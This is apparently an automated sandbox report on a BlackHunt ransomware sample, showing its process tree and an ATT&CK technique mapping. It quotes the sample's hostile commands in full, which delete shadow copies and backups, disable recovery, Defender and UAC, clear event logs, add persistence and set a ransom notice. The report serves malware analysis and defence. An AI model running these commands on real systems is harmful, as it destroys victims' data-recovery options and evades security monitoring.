Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
"C:\Users\Admin\AppData\Local\Temp\a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:508
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2256
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe" /F
  2⤵
  PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2176
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1116
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2620
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4032
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1056
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3124
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2488
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    PID:4048
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe"
  2⤵
  PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:1892

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
PID:2488

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2660

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2868

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2384

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2188

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:588

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:2760

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:856

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2592
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2788

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:1100

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:2096

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe" /F
1⤵
- Creates scheduled task(s)
PID:1976

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:308

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1912

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2104

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:844

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2852

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:2576

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2160

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:2888

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:1228

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3912

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:384

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:324

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:856
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2492

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1536

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2396

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:2944

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:1316

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:860

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:1788
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl Application
  2⤵
  - Clears Windows event logs
  PID:996

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2748

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:2824

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:1644

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2500

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2480

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:2744

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:3024

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:1432

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:1332

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
PID:224

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2002848992-970903895-1354041705-675861456615421173171244216413882384331612119544"
1⤵
PID:2592

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
PID:3184

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-292191018-1242458746136198482956278208-15320945591067990388-1923233027113244819"
1⤵
PID:2220

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:2156

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
PID:584

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
1⤵
- Runs ping.exe
PID:1136

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:3276

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:1676

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
PID:4060

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:272

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
PID:3624

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "849436584-195179281278807545-532508050956139325190348622020960745873430819"
1⤵
PID:2888

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:776

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T /R
1⤵
- Suspicious use of WriteProcessMemory
PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery